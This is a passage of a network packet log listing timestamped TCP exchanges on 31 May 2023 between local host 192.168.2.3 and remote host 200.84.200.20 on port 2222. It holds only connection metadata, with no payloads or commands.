May 31, 2023 14:27:16.901071072 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.903917074 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.904103994 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.906671047 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.906769991 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.911129951 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.911235094 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.915384054 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.915538073 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.917890072 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.918004990 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.920461893 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.920594931 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.924905062 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.925007105 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.926846027 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.926975965 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.931920052 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.932089090 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.933985949 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.934060097 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.938405037 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.938577890 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.940653086 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.940759897 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.945642948 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.945827007 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.947763920 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.947952986 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.948080063 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.951951981 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.952032089 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.954430103 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.954598904 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.959465981 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.959553003 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.961570024 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.961664915 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.965825081 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.966057062 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.967942953 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.968059063 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.968628883 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.970704079 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.970788956 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.975181103 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.975354910 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.979450941 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.979598045 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.981784105 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.982007980 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.986762047 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.986865044 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.988909006 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.989017963 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.991128922 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.991245985 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.996141911 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.996248007 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.999802113 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.999926090 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.003643990 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.003737926 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.004641056 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.004740953 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.012366056 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.012398958 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.012584925 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.016320944 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.016509056 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.020232916 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.020416021 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.025688887 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.025821924 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.027889967 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.027991056 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.031820059 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.031920910 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.035028934 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.035150051 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.038687944 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.038789988 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.041759014 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.041853905 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.043904066 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.044039965 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.050369024 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.050491095 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.052519083 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.052649021 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.057775974 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.057910919 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.064758062 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.064882994 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.068564892 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.068732023 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.071207047 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.071325064 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.073986053 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.074220896 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.078357935 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.078449965 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.080575943 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.080676079 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.087523937 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.087624073 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.092159033 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.092259884 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.094398975 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.094497919 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.098083019 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.098196030 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.101284027 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.101392984 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.103486061 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.103573084 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.108196974 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.108287096 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.110110044 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.110207081 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.115058899 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.115151882 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.117276907 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.117388010 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.121478081 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.121582985 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.123718023 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.123797894 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.128874063 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.128969908 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.131064892 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.131171942 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.135288000 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.135438919 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.137474060 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.137564898 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.142690897 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.142853975 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.144901991 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.144980907 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.149059057 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.149247885 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.151783943 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.151911974 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.156307936 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.156467915 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.158723116 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.158941984 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.162363052 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.162492990 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.165538073 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.165648937 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.170068979 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.170192003 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.171936989 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.172065020 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.176214933 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.176336050 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.179430962 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.179580927 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.181647062 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.181721926 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.185806036 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.186048031 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.187961102 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.188247919 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.188396931 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.193181038 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.196908951 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.200819016 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.201801062 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.206748009 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.207036972 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.207205057 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.207268953 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.207819939 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.207866907 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.208671093 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.208777905 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.212913036 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.213085890 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.215600014 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.215706110 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.220370054 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.220494986 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.222426891 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.222522974 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.227210045 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.227353096 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.229404926 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.229556084 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.233633995 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.233793974 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.236279964 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.236396074 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.240309954 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.240488052 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.243638992 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.243735075 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.247971058 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.248163939 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.250077009 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.250220060 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.254025936 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.254168034 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.257023096 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.257175922 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.261204004 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.261332989 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.263890028 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.264071941 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.267590046 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.267812014 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.270752907 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.270891905 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.274801970 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.274981022 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.277690887 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.277905941 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.279911995 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.280036926 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.284645081 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.284877062 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.286783934 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.286921024 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.291331053 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.291548967 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.293203115 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.293298960 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.298456907 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.298661947 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.300585032 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.300704956 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.304786921 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.304955006 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.306982994 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.307137966 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.312719107 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.312839031 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.314333916 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.314497948 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.318674088 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.318805933 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.321300983 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.321433067 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.325367928 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.325550079 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.327910900 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.327999115 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.332431078 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.332592010 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.336124897 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.336225986 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.339586020 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.339724064 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.341809988 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.341942072 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.347914934 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.348057032 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.349019051 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.349149942 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.352802992 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.352945089 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.355268002 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.355396032 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.361268044 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.361511946 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.362883091 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.363049030 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.366483927 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.366569042 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.369775057 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.369975090 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.375112057 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.375247002 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.376216888 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.376450062 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.378494978 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.378654957 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.382982016 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.383456945 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.387401104 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.390029907 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.390043020 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.390134096 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.393704891 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.394717932 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.396645069 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.396763086 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.399430990 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.399816990 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.403657913 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.403805017 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.407582045 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.410355091 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.410543919 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.412898064 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.413012981 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.417397022 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.418227911 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.419591904 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.420306921 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.424052000 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.426064014 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.426755905 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.429683924 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.431205988 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.431643963 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.433386087 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.433500051 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.438340902 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.439533949 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.440557003 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.440718889 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.444761038 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.446014881 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.446897030 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.449112892 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.451638937 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.451796055 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.454092026 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.457988977 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.458513975 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.459441900 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.460721016 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.460918903 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.462994099 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.463121891 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.467889071 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.470110893 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.471967936 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.472587109 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.474586010 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.474726915 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.478743076 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.481688976 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.481884956 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.485187054 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.485316038 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.488405943 CEST	2222	49738	200.84.200.20	192.168.2.3
